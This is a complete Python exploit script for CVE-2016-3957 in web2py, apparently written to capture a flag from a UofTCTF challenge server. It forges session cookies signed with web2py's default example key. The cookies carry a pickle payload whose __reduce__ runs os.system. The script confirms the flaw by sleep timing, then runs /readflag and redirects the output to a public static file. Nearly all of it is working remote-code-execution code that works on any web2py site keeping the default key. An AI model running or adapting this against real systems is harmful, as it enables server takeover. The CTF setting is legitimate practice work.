#!/usr/bin/env python3
"""
Web2py CVE-2016-3957 Pickle Deserialization RCE Exploit
Based on: https://devco.re/blog/2017/01/03/web2py-unserialize-code-execution-CVE-2016-3957/
"""

import pickle
import hmac
import base64
import zlib
from hashlib import sha1
from Crypto.Cipher import AES
from Crypto import Random
import requests
import urllib3
import os
import re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

BASE_URL = "https://vulnerability-research-dbfd88d4dab49dc2.chals.uoftctf.org"

# The hardcoded encryption key from web2py examples
ENCRYPTION_KEY = "yoursecret"

def pad(s):
    """Pad string to AES block size"""
    return s + b" " * (32 - len(s) % 32)

def secure_dumps(data, encryption_key, hash_key=None, compression_level=None):
    """
    Recreate web2py's secure_dumps function to create a valid session cookie
    Based on: https://github.com/web2py/web2py/blob/R-2.14.1/gluon/utils.py
    """
    if not hash_key:
        hash_key = sha1(encryption_key.encode()).hexdigest()
    
    # Pickle the data
    dump = pickle.dumps(data)
    
    # Optional compression
    if compression_level:
        dump = zlib.compress(dump, compression_level)
    
    # Encrypt with AES
    key = pad(encryption_key.encode()[:32])
    IV = Random.new().read(16)
    cipher = AES.new(key, AES.MODE_CBC, IV)
    
    # Pad the dump
    encrypted_data = cipher.encrypt(pad(dump))
    
    # Combine IV and encrypted data
    encrypted_data = IV + encrypted_data
    
    # Base64 encode
    encrypted_data = base64.urlsafe_b64encode(encrypted_data).decode()
    
    # Create HMAC signature
    signature = hmac.new(hash_key.encode(), encrypted_data.encode(), digestmod='md5').hexdigest()
    
    # Return signature:encrypted_data format
    return f"{signature}:{encrypted_data}"

class RCE:
    """Malicious class that executes command on deserialization"""
    def __init__(self, cmd):
        self.cmd = cmd
    
    def __reduce__(self):
        # This will be called during unpickling
        return (os.system, (self.cmd,))

def create_payload(command):
    """Create a malicious pickle payload"""
    print(f"[*] Creating payload for command: {command}")
    
    # Create malicious object
    payload = RCE(command)
    
    # Serialize it with web2py's secure_dumps
    cookie_value = secure_dumps({"malicious": payload}, ENCRYPTION_KEY)
    
    print(f"[*] Payload created: {len(cookie_value)} bytes")
    return cookie_value

def test_vulnerability():
    """Test if the target is vulnerable with a sleep command"""
    print("="*60)
    print("Testing for CVE-2016-3957 Vulnerability")
    print("="*60)
    
    # Test with sleep to check timing
    for sleep_time in [3, 5]:
        print(f"\n[>] Testing with sleep {sleep_time}...")
        
        payload = create_payload(f"sleep {sleep_time}")
        
        cookies = {
            "session_data_welcome": payload
        }
        
        import time
        start = time.time()
        
        try:
            response = requests.get(
                BASE_URL + "/welcome/default/index",
                cookies=cookies,
                verify=False,
                timeout=15
            )
            
            elapsed = time.time() - start
            
            print(f"    Response time: {elapsed:.2f} seconds")
            print(f"    Status: {response.status_code}")
            
            # Check if the delay matches our sleep command
            if elapsed >= sleep_time and elapsed < sleep_time + 3:
                print(f"    [!] Vulnerability confirmed! Delay matches sleep time.")
                return True
        except Exception as e:
            elapsed = time.time() - start
            print(f"    Error after {elapsed:.2f}s: {e}")
    
    return False

def exploit_rce(command):
    """Execute arbitrary command and try to retrieve output"""
    print(f"\n[*] Exploiting with command: {command}")
    
    payload = create_payload(command)
    
    cookies = {
        "session_data_welcome": payload
    }
    
    try:
        response = requests.get(
            BASE_URL + "/welcome/default/index",
            cookies=cookies,
            verify=False,
            timeout=10
        )
        
        print(f"[*] Status: {response.status_code}")
        print(f"[*] Response length: {len(response.text)} bytes")
        
        # Check for flag in response
        if "uoftctf{" in response.text:
            print("[!!!] FLAG FOUND IN RESPONSE!")
            flags = re.findall(r'uoftctf\{[^}]+\}', response.text)
            for flag in flags:
                print(f"\n{'='*60}")
                print(f"FLAG: {flag}")
                print(f"{'='*60}\n")
            return flag
        
        return None
        
    except Exception as e:
        print(f"[*] Error: {e}")
        return None

def exploit_with_output_redirection():
    """Try to get command output via various methods"""
    print("\n" + "="*60)
    print("Attempting RCE with Output Capture")
    print("="*60)
    
    # Try different methods to capture output
    methods = [
        # Direct execution
        "/readflag",
        
        # Output to a web-accessible location
        "/readflag > /opt/web2py/applications/welcome/static/flag.txt",
        
        # Try to inject into response
        "/readflag > /tmp/flag.txt",
    ]
    
    for cmd in methods:
        print(f"\n[>] Trying: {cmd}")
        exploit_rce(cmd)
        
        # If we redirected to static file, try to fetch it
        if "static/flag.txt" in cmd:
            print("[*] Attempting to fetch flag from static file...")
            try:
                r = requests.get(
                    BASE_URL + "/welcome/static/flag.txt",
                    verify=False,
                    timeout=5
                )
                if r.status_code == 200 and "uoftctf{" in r.text:
                    print(f"\n[!!!] FLAG: {r.text.strip()}\n")
                    return r.text.strip()
            except:
                pass

if __name__ == "__main__":
    print("="*60)
    print("Web2py CVE-2016-3957 Pickle Deserialization Exploit")
    print("Target:", BASE_URL)
    print("="*60)
    
    # First test if vulnerable
    if test_vulnerability():
        print("\n[+] Target is VULNERABLE!")
        
        # Try to get the flag
        print("\n[*] Attempting to read flag...")
        
        # Direct RCE
        flag = exploit_rce("/readflag")
        
        if not flag:
            # Try with output redirection
            flag = exploit_with_output_redirection()
        
        if flag:
            print(f"\n{'='*60}")
            print("SUCCESS!")
            print(f"FLAG: {flag}")
            print(f"{'='*60}")
        else:
            print("\n[*] Command executed but flag not retrieved directly.")
            print("[*] Try manual exploitation or check if output is elsewhere.")
    else:
        print("\n[-] Could not confirm vulnerability or wrong encryption key")